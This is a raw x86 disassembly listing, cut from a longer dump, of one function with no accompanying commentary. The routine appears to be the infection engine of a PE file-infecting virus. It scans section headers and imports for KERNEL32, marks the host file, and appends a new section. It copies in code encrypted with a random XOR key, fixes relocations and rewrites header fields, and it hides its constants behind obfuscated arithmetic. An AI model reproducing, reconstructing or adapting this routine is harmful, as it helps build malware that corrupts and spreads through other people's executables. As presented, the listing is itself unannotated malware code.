		mov	eax, [ebp+var_8]
		mov	eax, [eax+80h]
		mov	[ebp+var_430], eax
		mov	eax, [ebp+var_840]
		mov	[ebp+var_106C],	eax
		add	[ebp+var_106C],	0F8h
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31EF8], eax
		add	[ebp+var_106C],	eax
		mov	eax, 28h
		mov	ecx, dword_54F1C0
		add	ecx, 2
		mul	ecx
		mov	[ebp+var_31EFC], eax
		add	[ebp+var_106C],	eax
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0D4h]
		add	[ebp+var_106C],	ecx
		mov	eax, [eax+54h]
		cmp	[ebp+var_106C],	eax
		ja	loc_43AADB
		mov	eax, dword_54F1B4
		sub	eax, 4
		mov	[ebp+var_C54], eax
		mov	eax, dword_54F16C
		sub	eax, 5
		mov	[ebp+var_1C], eax
		mov	eax, dword_54F1F4
		sub	eax, 9
		mov	[ebp+var_105C],	eax
		mov	eax, dword_54F0F0
		sub	eax, 3
		mov	[ebp+var_434], eax
		jmp	loc_439951
; ---------------------------------------------------------------------------


loc_43988F:				; CODE XREF: sub_4395D8+386j
		mov	eax, 28h
		mul	[ebp+var_434]
		mov	[ebp+var_31F08], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F08]
		mov	esi, edx
		add	esi, eax
		mov	eax, [esi+0Ch]
		add	eax, [esi+8]
		mov	[ebp+var_31F00], eax
		mov	eax, [esi+14h]
		add	eax, [esi+10h]
		mov	[ebp+var_31F04], eax
		mov	eax, [ebp+var_1C]
		cmp	[ebp+var_31F00], eax
		jbe	short loc_4398E6
		mov	eax, [ebp+var_31F00]
		mov	[ebp+var_1C], eax


loc_4398E6:				; CODE XREF: sub_4395D8+303j
		mov	eax, [ebp+var_C54]
		cmp	[ebp+var_31F04], eax
		jbe	short loc_439900
		mov	eax, [ebp+var_31F04]
		mov	[ebp+var_C54], eax


loc_439900:				; CODE XREF: sub_4395D8+31Aj
		mov	eax, [ebp+var_8]
		mov	eax, [eax+0A8h]
		cmp	eax, [esi+0Ch]
		jb	short loc_43992B
		cmp	eax, [ebp+var_31F00]
		jnb	short loc_43992B
		mov	eax, [esi+14h]
		mov	edx, [ebp+var_8]
		add	eax, [edx+0A8h]
		sub	eax, [esi+0Ch]
		mov	[ebp+var_105C],	eax


loc_43992B:				; CODE XREF: sub_4395D8+334j
					; sub_4395D8+33Cj
		mov	eax, [ebp+var_430]
		mov	edx, [esi+0Ch]
		cmp	eax, edx
		jb	short loc_43994B
		add	edx, [esi+8]
		cmp	eax, edx
		jnb	short loc_43994B
		sub	eax, [esi+0Ch]
		add	eax, [esi+14h]
		mov	[ebp+var_844], eax


loc_43994B:				; CODE XREF: sub_4395D8+35Ej
					; sub_4395D8+365j
		inc	[ebp+var_434]


loc_439951:				; CODE XREF: sub_4395D8+2B2j
		mov	eax, [ebp+var_8]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_434], eax
		jb	loc_43988F
		mov	eax, dword_54F090
		add	eax, 0FFCh
		push	eax
		push	[ebp+var_1C]
		call	sub_43FCD8
		add	esp, 8
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1184],	0
		jz	short loc_43998F
		mov	eax, [ebp+var_C54]
		mov	[ebp+var_10], eax


loc_43998F:				; CODE XREF: sub_4395D8+3ACj
		mov	eax, [ebp+var_C54]
		cmp	[ebp+var_10], eax
		jz	short loc_4399B1
		mov	eax, [ebp+var_8]
		movsx	edx, word_54F198
		dec	edx
		cmp	[eax+0A8h], edx
		jz	loc_43AADB


loc_4399B1:				; CODE XREF: sub_4395D8+3C0j
		mov	eax, dword_54F24C
		sub	eax, 9
		cmp	[ebp+var_105C],	eax
		jz	loc_439A90
		mov	eax, dword_54F1AC
		add	eax, dword_54F1DC
		sub	eax, 2
		mov	[ebp+var_31F08], eax
		mov	eax, dword_54F160
		sub	eax, 7
		mov	[ebp+var_31F00], eax
		jmp	short loc_439A37
; ---------------------------------------------------------------------------


loc_4399E9:				; CODE XREF: sub_4395D8+485j
		mov	eax, [ebp+var_105C]
		mov	[ebp+var_31F0C], eax
		mov	eax, 1Ch
		mul	[ebp+var_31F00]
		mov	[ebp+var_31F10], eax
		mov	eax, [ebp+var_31F0C]
		mov	edx, [ebp+var_31F10]
		add	eax, edx
		add	eax, [ebp+var_4]
		mov	[ebp+var_31F04], eax
		mov	edx, [ebp+var_31F08]
		cmp	[eax+18h], edx
		jbe	short loc_439A31
		mov	eax, [eax+18h]
		mov	[ebp+var_31F08], eax


loc_439A31:				; CODE XREF: sub_4395D8+44Ej
		inc	[ebp+var_31F00]


loc_439A37:				; CODE XREF: sub_4395D8+40Fj
		mov	edi, [ebp+var_8]
		mov	eax, [edi+0ACh]
		mov	ecx, 1Ch
		shr	eax, 2
		mov	edx, 24924925h
		mul	edx
		mov	[ebp+var_31F0C], edx
		mov	edi, edx
		cmp	[ebp+var_31F00], edi
		jb	short loc_4399E9
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_31F08]
		call	sub_43FCD8
		add	esp, 8
		mov	[ebp+var_31F08], eax
		mov	eax, [ebp+var_C54]
		cmp	eax, [ebp+var_10]
		jz	short loc_439A90
		cmp	[ebp+var_31F08], eax
		jnz	loc_43AADB


loc_439A90:				; CODE XREF: sub_4395D8+3E7j
					; sub_4395D8+4AAj
		and	[ebp+var_1078],	0
		mov	eax, dword_54F134
		add	eax, dword_54F0D4
		sub	eax, 7
		mov	[ebp+var_438], eax
		jmp	loc_439BE1
; ---------------------------------------------------------------------------


loc_439AB0:				; CODE XREF: sub_4395D8+618j
		mov	eax, [ebp+var_844]
		add	eax, [ebp+var_438]
		add	eax, [ebp+var_4]
		mov	[ebp+var_32004], eax
		mov	edx, dword_54F12C
		add	edx, dword_54F168
		sub	edx, 0Ah
		cmp	[eax], edx
		jz	loc_439BF6
		mov	eax, [ebp+var_32004]
		mov	eax, [eax+0Ch]
		sub	eax, [ebp+var_430]
		add	eax, [ebp+var_844]
		mov	[ebp+var_32008], eax
		add	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_31FFF]
		push	eax
		call	ds:dword_4491A4
		add	esp, 8
		mov	eax, dword_54F140
		dec	eax
		mov	[ebp+var_31F00], eax
		jmp	short loc_439B44
; ---------------------------------------------------------------------------


loc_439B19:				; CODE XREF: sub_4395D8+58Ej
		mov	eax, [ebp+var_31F00]
		mov	al, [ebp+eax+var_31FFF]
		cmp	al, 61h
		jle	short loc_439B3E
		cmp	al, 7Ah
		jge	short loc_439B3E
		mov	eax, [ebp+var_31F00]
		lea	eax, [ebp+eax+var_31FFF]
		sub	byte ptr [eax],	20h


loc_439B3E:				; CODE XREF: sub_4395D8+550j
					; sub_4395D8+554j
		inc	[ebp+var_31F00]


loc_439B44:				; CODE XREF: sub_4395D8+53Fj
		mov	eax, [ebp+var_31F00]
		movsx	eax, [ebp+eax+var_31FFF]
		mov	edx, dword_54F0BC
		movsx	ecx, word_54F0FC
		add	edx, ecx
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_439B19
		movsx	eax, word_54F190
		cmp	byte ptr [ebp+eax+var_32008+2],	45h
		jnz	short loc_439BDA
		mov	edx, dword_54F228
		cmp	byte ptr [ebp+edx+var_32008+3],	52h
		jnz	short loc_439BDA
		movsx	edx, word_54F1A4
		cmp	byte ptr [ebp+edx+var_32008+3],	4Bh
		jnz	short loc_439BDA
		mov	edx, dword_54F184
		cmp	[ebp+edx+var_31FFD], 33h
		jnz	short loc_439BDA
		mov	edx, dword_54F1D8
		add	edx, dword_54F200
		cmp	byte ptr [ebp+edx+var_32004+1],	4Ch
		jnz	short loc_439BDA
		add	eax, dword_54F168
		cmp	byte ptr [ebp+eax+var_32004+2],	32h
		jnz	short loc_439BDA
		mov	[ebp+var_1078],	1


loc_439BDA:				; CODE XREF: sub_4395D8+59Fj
					; sub_4395D8+5AFj ...
		add	[ebp+var_438], 14h


loc_439BE1:				; CODE XREF: sub_4395D8+4D3j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+84h]
		cmp	[ebp+var_438], eax
		jb	loc_439AB0


loc_439BF6:				; CODE XREF: sub_4395D8+4FEj
		cmp	[ebp+var_1078],	0
		jz	loc_43AADB
		mov	eax, [ebp+var_8]
		add	eax, 16h
		or	word ptr [eax],	1
		lea	eax, [ebp+var_31ECB]
		mov	[ebp+var_42C], eax
		mov	eax, [eax+3Ch]
		mov	[ebp+var_848], eax
		add	eax, [ebp+var_42C]
		mov	[ebp+var_84C], eax
		cmp	[ebp+var_1184],	0
		jnz	loc_439D4B
		mov	eax, [ebp+var_8]
		mov	edx, dword_54F1C8
		sub	edx, 8
		cmp	[eax+0D0h], edx
		jz	loc_439D4B
		movsx	edx, word_54F0F8
		add	edx, dword_54F098
		sub	edx, 0Eh
		cmp	[eax+0D4h], edx
		jz	loc_439D4B
		mov	edx, [ebp+var_106C]
		cmp	[eax+54h], edx
		jbe	loc_439D4B
		mov	eax, [ebp+var_840]
		add	eax, 0F8h
		mov	[ebp+var_31F08], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F0C], eax
		mov	eax, [ebp+var_31F08]
		mov	edx, [ebp+var_31F0C]
		add	eax, edx
		mov	[ebp+var_31F00], eax
		mov	[ebp+var_31F10], eax
		mov	eax, 28h
		mov	ecx, dword_54F1AC
		add	ecx, dword_54F0F0
		sub	ecx, 2
		mul	ecx
		mov	[ebp+var_31F14], eax
		mov	eax, [ebp+var_31F10]
		mov	edx, [ebp+var_31F14]
		add	eax, edx
		mov	[ebp+var_31F04], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+0D4h]
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_31F00]
		add	edx, eax
		push	edx
		mov	edx, [ebp+var_31F04]
		add	edx, eax
		push	edx
		call	ds:dword_4CB814
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		add	eax, 0D0h
		mov	[ebp+var_31F18], eax
		mov	eax, 28h
		mov	ecx, dword_54F1C0
		add	ecx, dword_54F0C0
		mul	ecx
		mov	[ebp+var_31F1C], eax
		mov	eax, [ebp+var_31F18]
		mov	edx, eax
		mov	ecx, [ebp+var_31F1C]
		add	[edx], ecx


loc_439D4B:				; CODE XREF: sub_4395D8+65Dj
					; sub_4395D8+675j ...
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_10]
		call	sub_43FCD8
		mov	[ebp+var_10], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F00], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F00]
		mov	esi, edx
		add	esi, eax
		mov	eax, dword_54F1DC
		add	eax, 0Ch
		push	eax
		mov	eax, dword_54F0E4
		sub	eax, 5
		push	eax
		mov	eax, esi
		add	eax, 18h
		push	eax
		call	ds:dword_4CB934
		movsx	eax, word_54F210
		add	eax, 1FFFBh
		mov	[esi+8], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		mov	eax, [ebp+arg_8]
		add	eax, 0Dh
		push	eax
		call	sub_43FCD8
		mov	[esi+10h], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_850], eax
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_1060],	eax
		push	offset byte_550825
		call	sub_43AAF7
		push	eax
		push	esi
		call	ds:dword_4491A4
		mov	eax, [ebp+var_1C]
		mov	[esi+0Ch], eax
		mov	eax, dword_54F14C
		add	eax, 0E000001Eh
		mov	[esi+24h], eax
		mov	eax, [ebp+var_10]
		mov	[esi+14h], eax
		mov	eax, dword_54F0EC
		add	eax, 1FFFFh
		add	[ebp+var_1C], eax
		mov	eax, [ebp+var_8]
		mov	edx, [esi+0Ch]
		add	edx, [esi+8]
		mov	[eax+50h], edx
		call	ds:dword_54E040
		movsx	edi, word_54F128
		movsx	edx, word_54F138
		add	edi, edx
		sub	edi, 7
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		add	edi, edx
		mov	[ebp+var_1064],	edi
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		mov	eax, [ebp+var_10]
		add	eax, [esi+10h]
		push	eax
		call	sub_43FCD8
		add	esp, 30h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		add	eax, 6
		inc	word ptr [eax]
		call	ds:dword_54E040
		mov	edi, [ebp+var_848]
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F08], edx
		mov	[ebp+var_31F04], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F08]
		mov	[ecx+edi], dl
		call	ds:dword_54E040
		mov	edx, dword_54F200
		movsx	ecx, word_54F104
		add	edx, ecx
		sub	edx, 4
		add	edi, edx
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F10], edx
		mov	[ebp+var_31F0C], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F10]
		mov	[ecx+edi], dl
		mov	edi, dword_54F1C0
		add	edi, dword_54F174
		sub	edi, 7
		mov	edx, [ebp+var_42C]
		mov	ecx, [ebp+arg_8]
		shr	ecx, 9
		mov	[edx+edi], cl
		movsx	eax, word_54F0C4
		add	eax, dword_54F18C
		sub	eax, 7
		mov	ecx, [ebp+var_1064]
		xor	ecx, 4Dh
		mov	[edx+eax], cl
		mov	eax, dword_54F1F8
		add	eax, 3Dh
		add	eax, dword_54F0BC
		mov	[ebp+var_43C], eax
		jmp	short loc_439F5D
; ---------------------------------------------------------------------------


loc_439F28:				; CODE XREF: sub_4395D8+991j
		call	ds:dword_54E040
		mov	edi, [ebp+var_43C]
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F18], edx
		mov	[ebp+var_31F14], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F18]
		mov	[ecx+edi], dl
		inc	[ebp+var_43C]


loc_439F5D:				; CODE XREF: sub_4395D8+94Ej
		mov	eax, [ebp+var_848]
		cmp	[ebp+var_43C], eax
		jb	short loc_439F28
		cmp	[ebp+var_1184],	0
		jz	short loc_439FEE
		mov	eax, [ebp+var_850]
		movsx	edx, word_54F0D0
		add	edx, dword_54F0C0
		add	eax, edx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+eax]
		mov	[ebp+var_31F1C], eax
		mov	eax, [ebp+var_8]
		mov	edx, [eax+34h]
		add	edx, [eax+28h]
		mov	eax, dword_54F130
		add	eax, 6
		add	edx, eax
		mov	[ebp+var_31F20], edx
		mov	eax, [ebp+var_31F1C]
		mov	edx, dword_54F090
		add	edx, 0FFFFFFF6h
		movsx	ecx, word_54F210
		add	edx, ecx
		sub	eax, edx
		add	eax, [ebp+var_31F20]
		mov	edx, dword_54F1AC
		add	edx, 2
		add	eax, edx
		mov	[ebp+var_31F24], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_31F24]
		sub	edx, [eax+34h]
		mov	[eax+28h], edx


loc_439FEE:				; CODE XREF: sub_4395D8+99Aj
		push	0Dh
		push	offset dword_54F290
		lea	eax, [ebp+var_31ED8]
		push	eax
		call	ds:dword_4CB814
		mov	eax, [esi+10h]
		add	eax, 0Dh
		push	eax
		lea	eax, [ebp+var_31ED8]
		push	eax
		mov	eax, [esi+14h]
		add	eax, [ebp+var_4]
		push	eax
		call	ds:dword_4CB814
		add	esp, 18h
		mov	eax, [esi+14h]
		add	eax, 0Dh
		mov	[ebp+var_1068],	eax
		movsx	edx, word_54F0C4
		sub	edx, 4
		add	eax, edx
		mov	[ebp+var_424], eax
		jmp	short loc_43A05A
; ---------------------------------------------------------------------------


loc_43A040:				; CODE XREF: sub_4395D8+A91j
		mov	eax, [ebp+var_424]
		add	eax, [ebp+var_4]
		movzx	edx, byte ptr [eax]
		xor	edx, [ebp+var_1064]
		mov	[eax], dl
		inc	[ebp+var_424]


loc_43A05A:				; CODE XREF: sub_4395D8+A66j
		mov	eax, [ebp+var_1068]
		add	eax, [ebp+arg_8]
		cmp	[ebp+var_424], eax
		jb	short loc_43A040
		mov	eax, dword_54F0B8
		sub	eax, 4
		mov	[ebp+var_18], eax
		mov	eax, dword_54F1F4
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		sub	eax, 12h
		mov	[ebp+var_440], eax
		jmp	loc_43A377
; ---------------------------------------------------------------------------


loc_43A08F:				; CODE XREF: sub_4395D8+DAFj
		mov	eax, 28h
		mul	[ebp+var_440]
		mov	[ebp+var_31F20], eax
		mov	eax, [ebp+var_848]
		mov	edx, [ebp+var_42C]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F20]
		mov	ebx, edx
		add	ebx, eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F24], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F24]
		mov	esi, edx
		add	esi, eax
		movsx	eax, word_54F0CC
		cmp	byte ptr [ebx+eax], 72h
		jnz	short loc_43A12B
		mov	eax, dword_54F1AC
		movsx	edx, word_54F13C
		add	eax, edx
		sub	eax, 0Bh
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_43A12B
		movsx	eax, word_54F208
		cmp	byte ptr [eax+ebx+4], 63h
		jnz	short loc_43A12B
		mov	eax, [ebx+14h]
		mov	[ebp+var_107C],	eax
		jmp	loc_43A371
; ---------------------------------------------------------------------------


loc_43A12B:				; CODE XREF: sub_4395D8+B1Ej
					; sub_4395D8+B35j ...
		movsx	eax, word_54F0F8
		sub	eax, 5
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_43A174
		movsx	eax, word_54F244
		add	eax, dword_54F168
		sub	eax, 8
		cmp	byte ptr [ebx+eax], 65h
		jnz	short loc_43A174
		mov	eax, dword_54F1E4
		inc	eax
		cmp	byte ptr [ebx+eax], 61h
		jnz	short loc_43A174
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_1188],	eax
		mov	eax, [ebx+14h]
		mov	[ebp+var_1080],	eax
		jmp	loc_43A371
; ---------------------------------------------------------------------------


loc_43A174:				; CODE XREF: sub_4395D8+B61j
					; sub_4395D8+B77j ...
		movsx	eax, word_54F164
		cmp	byte ptr [ebx+eax], 69h
		jnz	short loc_43A1B2
		mov	eax, dword_54F1AC
		movsx	edx, word_54F13C
		add	eax, edx
		sub	eax, 0Bh
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_43A1B2
		movsx	eax, word_54F210
		add	eax, dword_54F188
		sub	eax, 5
		cmp	byte ptr [ebx+eax], 61h
		jz	loc_43A371


loc_43A1B2:				; CODE XREF: sub_4395D8+BA7j
					; sub_4395D8+BBEj
		mov	eax, dword_54F1B4
		sub	eax, 4
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	loc_43A248
		mov	eax, dword_54F120
		add	eax, dword_54F0F0
		sub	eax, 0Ah
		cmp	byte ptr [ebx+eax], 62h
		jnz	short loc_43A248
		mov	eax, dword_54F1E4
		add	eax, dword_54F23C
		dec	eax
		cmp	byte ptr [ebx+eax], 73h
		jnz	short loc_43A248
		add	esi, 0FFFFFFD8h
		mov	eax, dword_54F1E0
		add	eax, 0E0000018h
		add	eax, dword_54F0B8
		mov	[esi+24h], eax
		movsx	eax, word_54F0B4
		add	eax, 0FFBh
		push	eax
		push	dword ptr [esi+8]
		call	sub_43FCD8
		mov	edi, eax
		add	edi, [ebx+8]
		mov	[esi+8], edi
		mov	eax, dword_54F0A0
		add	eax, 0FFBh
		add	eax, dword_54F134
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, [ebx+8]
		push	eax
		call	sub_43FCD8
		add	esp, 10h
		mov	[ebp+var_1C], eax
		add	esi, 28h
		jmp	loc_43A371
; ---------------------------------------------------------------------------


loc_43A248:				; CODE XREF: sub_4395D8+BE6j
					; sub_4395D8+BFEj ...
		mov	eax, [ebp+var_10]
		mov	[esi+14h], eax
		mov	eax, [ebx+8]
		mov	[esi+8], eax
		mov	eax, [ebp+var_1C]
		mov	[esi+0Ch], eax
		mov	eax, [ebx+24h]
		mov	[esi+24h], eax
		push	ebx
		push	esi
		call	ds:dword_4491A4
		mov	eax, [ebx+10h]
		mov	[esi+10h], eax
		movsx	eax, word_54F0D0
		movsx	edx, word_54F0CC
		lea	eax, [eax+edx+5]
		push	eax
		mov	eax, dword_54F0F0
		sub	eax, 3
		push	eax
		mov	eax, esi
		add	eax, 18h
		push	eax
		call	ds:dword_4CB934
		mov	edi, [ebp+var_18]
		mov	edx, [ebx+0Ch]
		mov	[ebp+edi*4+var_420], edx
		mov	edx, [ebx+8]
		mov	[ebp+edi*4+var_83C], edx
		mov	edx, [esi+0Ch]
		mov	[ebp+edi*4+var_C4C], edx
		mov	edx, [esi+14h]
		mov	[ebp+edi*4+var_1050], edx
		inc	[ebp+var_18]
		mov	eax, [ebx+10h]
		add	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_31F1C], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_10]
		call	sub_43FCD8
		add	esp, 1Ch
		mov	[ebp+var_10], eax
		mov	eax, dword_54F1AC
		dec	eax
		cmp	byte ptr [ebx+eax], 64h
		jnz	short loc_43A313
		mov	eax, [ebp+var_31F1C]
		cmp	[ebp+var_10], eax
		jbe	short loc_43A313
		mov	ecx, [ebp+var_10]
		sub	ecx, eax
		mov	[ebp+var_31F28], ecx
		mov	eax, ecx
		add	[esi+8], eax
		mov	eax, ecx
		add	[esi+10h], eax


loc_43A313:				; CODE XREF: sub_4395D8+D19j
					; sub_4395D8+D24j
		movsx	eax, word_54F0FC
		add	eax, 0FFEh
		push	eax
		mov	eax, [esi+0Ch]
		add	eax, [ebx+8]
		push	eax
		call	sub_43FCD8
		mov	edi, [ebp+var_8]
		mov	[edi+50h], eax
		mov	eax, dword_54F214
		add	eax, 0FFDh
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, [ebx+8]
		push	eax
		call	sub_43FCD8
		mov	[ebp+var_1C], eax
		mov	eax, edi
		add	eax, 6
		inc	word ptr [eax]
		push	dword ptr [esi+10h]
		mov	eax, [ebx+14h]
		add	eax, [ebp+var_42C]
		push	eax
		mov	eax, [esi+14h]
		add	eax, [ebp+var_4]
		push	eax
		call	ds:dword_4CB814
		add	esp, 1Ch


loc_43A371:				; CODE XREF: sub_4395D8+B4Ej
					; sub_4395D8+B97j ...
		inc	[ebp+var_440]


loc_43A377:				; CODE XREF: sub_4395D8+AB2j
		mov	eax, [ebp+var_84C]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_440], eax
		jb	loc_43A08F
		mov	eax, [ebp+var_107C]
		add	eax, [ebp+var_42C]
		mov	[ebp+var_14], eax


loc_43A39C:				; CODE XREF: sub_4395D8+FECj
		mov	eax, dword_54F1DC
		movsx	edx, word_54F1A8
		add	eax, edx
		mov	[ebp+var_20], eax
		jmp	short loc_43A40B
; ---------------------------------------------------------------------------


loc_43A3AF:				; CODE XREF: sub_4395D8+E39j
		mov	edi, [ebp+var_20]
		mov	edx, [ebp+var_14]
		mov	edx, [edx]
		cmp	[ebp+edi*4+var_420], edx
		jnz	short loc_43A3CB
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	[ebp+var_C50], eax


loc_43A3CB:				; CODE XREF: sub_4395D8+DE6j
		mov	edi, [ebp+var_20]
		shl	edi, 2
		mov	edx, [ebp+edi+var_420]
		add	edx, [ebp+edi+var_83C]
		mov	edi, [ebp+var_14]
		cmp	edx, [edi]
		jbe	short loc_43A408
		mov	edi, [ebp+var_20]
		mov	edi, [ebp+edi*4+var_1050]
		mov	[ebp+var_1070],	edi
		mov	edi, [ebp+var_20]
		mov	edi, [ebp+edi*4+var_C4C]
		mov	[ebp+var_1054],	edi
		jmp	short loc_43A413
; ---------------------------------------------------------------------------


loc_43A408:				; CODE XREF: sub_4395D8+E0Cj
		inc	[ebp+var_20]


loc_43A40B:				; CODE XREF: sub_4395D8+DD5j
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_20], eax
		jb	short loc_43A3AF


loc_43A413:				; CODE XREF: sub_4395D8+E2Ej
		mov	eax, dword_54F204
		sub	eax, 2
		mov	[ebp+var_428], eax
		jmp	loc_43A58A
; ---------------------------------------------------------------------------


loc_43A426:				; CODE XREF: sub_4395D8+FBEj
		mov	eax, [ebp+var_428]
		mov	edx, dword_54F1B0
		add	edx, dword_54F120
		sub	edx, 7
		add	eax, edx
		add	eax, [ebp+var_14]
		mov	[ebp+var_31F20], eax
		mov	ax, [eax]
		mov	word ptr [ebp+var_31F1C], ax
		movzx	eax, word ptr [ebp+var_31F1C]
		mov	edx, dword_54F1AC
		sub	edx, 2
		cmp	eax, edx
		jz	loc_43A59C
		movzx	edi, word ptr [ebp+var_31F1C]
		movsx	edx, word_54F0D0
		movsx	ecx, word_54F148
		lea	ecx, [edx+ecx+5]
		sar	edi, cl
		mov	word ptr [ebp+var_31F24+2], di
		movzx	edi, word ptr [ebp+var_31F1C]
		mov	edx, dword_54F168
		movsx	ecx, word_54F0F4
		xchg	edx, ecx
		add	ecx, edx
		shl	edi, cl
		mov	word ptr [ebp+var_31F1C+2], di
		movzx	edi, word ptr [ebp+var_31F1C+2]
		mov	ecx, dword_54F1E0
		sar	edi, cl
		mov	word ptr [ebp+var_31F1C+2], di
		movzx	eax, word ptr [ebp+var_31F1C+2]
		mov	edx, dword_54F11C
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_43A4E9
		mov	eax, dword_54F1F4
		sub	eax, 9
		cmp	[ebp+var_428], eax
		jnz	loc_43A59C


loc_43A4E9:				; CODE XREF: sub_4395D8+EFBj
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1054]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		sub	eax, [ebp+var_C50]
		movzx	edx, word ptr [ebp+var_31F1C+2]
		add	eax, edx
		mov	[ebp+var_31F28], eax
		mov	eax, [ebp+var_84C]
		mov	eax, [eax+34h]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		movzx	edx, word ptr [ebp+var_31F1C+2]
		add	eax, edx
		mov	[ebp+var_31F2C], eax
		mov	ecx, [ebp+var_31F28]
		sub	ecx, eax
		mov	[ebp+var_31F30], ecx
		movzx	eax, word ptr [ebp+var_31F24+2]
		movsx	edx, word_54F1E8
		add	edx, dword_54F090
		sub	edx, 8
		cmp	eax, edx
		jnz	short loc_43A57C
		mov	eax, [ebp+var_1070]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		sub	eax, [ebp+var_C50]
		movzx	edx, word ptr [ebp+var_31F1C+2]
		add	eax, edx
		add	eax, [ebp+var_4]
		mov	[ebp+var_31F34], eax
		mov	edx, ecx
		add	[eax], edx


loc_43A57C:				; CODE XREF: sub_4395D8+F7Bj
		mov	eax, dword_54F17C
		sub	eax, 5
		add	[ebp+var_428], eax


loc_43A58A:				; CODE XREF: sub_4395D8+E49j
		mov	eax, [ebp+var_14]
		mov	eax, [eax+4]
		cmp	[ebp+var_428], eax
		jb	loc_43A426


loc_43A59C:				; CODE XREF: sub_4395D8+E8Aj
					; sub_4395D8+F0Bj
		mov	eax, [ebp+var_14]
		mov	edx, [eax+4]
		add	edx, eax
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_84C]
		mov	eax, [eax+0A4h]
		mov	edx, [ebp+var_107C]
		add	edx, [ebp+var_42C]
		add	eax, edx
		cmp	[ebp+var_14], eax
		jb	loc_43A39C
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+28h]
		mov	[ebp+var_118C],	ecx
		mov	edx, [ebp+var_1060]
		mov	[eax+28h], edx
		cmp	[ebp+var_1184],	0
		jnz	short loc_43A607
		add	eax, 60h
		mov	edx, [ebp+var_84C]
		mov	edx, [edx+60h]
		add	[eax], edx
		mov	eax, [ebp+var_8]
		add	eax, 68h
		mov	edx, [ebp+var_84C]
		mov	edx, [edx+68h]
		add	[eax], edx


loc_43A607:				; CODE XREF: sub_4395D8+100Ej
		mov	eax, [ebp+var_8]
		movsx	edx, word_54F240
		movsx	ecx, word_54F128
		add	edx, ecx
		sub	edx, 7
		mov	[eax+46h], dx
		mov	edx, dword_54F1FC
		add	edx, 5
		add	edx, dword_54F1F8
		mov	[eax+1Ah], dl
		mov	edx, dword_54F0E0
		add	edx, 7
		mov	[eax+44h], dx
		mov	eax, [ebp+var_1080]
		add	eax, [ebp+var_42C]
		mov	[ebp+var_31EE8], eax
		mov	eax, [ebp+var_1080]
		mov	edx, [ebp+var_31EE8]
		add	eax, [edx+1Ch]
		sub	eax, [ebp+var_1188]
		mov	[ebp+var_31EEC], eax
		add	eax, [ebp+var_42C]
		mov	[ebp+var_31EF0], eax
		mov	eax, [eax]
		mov	[ebp+var_1058],	eax
		mov	eax, dword_54F1B4
		movsx	edx, word_54F13C
		add	eax, edx
		sub	eax, 0Dh
		mov	[ebp+var_24], eax
		jmp	short loc_43A6D8
; ---------------------------------------------------------------------------


loc_43A697:				; CODE XREF: sub_4395D8+1106j
		mov	edi, [ebp+var_24]
		shl	edi, 2
		mov	edx, [ebp+edi+var_420]
		add	edx, [ebp+edi+var_83C]
